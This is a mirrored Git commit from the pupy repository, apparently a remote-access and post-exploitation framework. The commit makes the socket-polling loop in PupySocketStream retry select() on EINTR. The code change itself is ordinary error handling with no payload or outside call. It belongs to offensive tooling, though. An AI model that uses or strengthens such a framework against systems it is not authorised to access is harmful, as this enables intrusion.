mirror of https://github.com/n1nj4sec/pupy.git
Handle select error (EINTR) properly
This commit is contained in:
parent
26af5ad760
commit
777d5a71d2
|
@ -79,10 +79,15 @@ class PupySocketStream(SocketStream):
|
||||||
|
|
||||||
def sock_poll(self, timeout):
|
def sock_poll(self, timeout):
|
||||||
with self.downstream_lock:
|
with self.downstream_lock:
|
||||||
try:
|
to_close = None
|
||||||
to_read, _, to_close = select([self.sock], [], [self.sock], timeout)
|
to_read = None
|
||||||
except socket.error:
|
|
||||||
to_close = True
|
while not (to_close or to_read or self.closed):
|
||||||
|
try:
|
||||||
|
to_read, _, to_close = select([self.sock], [], [self.sock], timeout)
|
||||||
|
except select_error as r:
|
||||||
|
if not r.args[0] == errno.EINTR:
|
||||||
|
to_close = True
|
||||||
|
|
||||||
if to_close:
|
if to_close:
|
||||||
raise EOFError('sock_poll error')
|
raise EOFError('sock_poll error')
|
||||||
|
|
Loading…
Reference in New Issue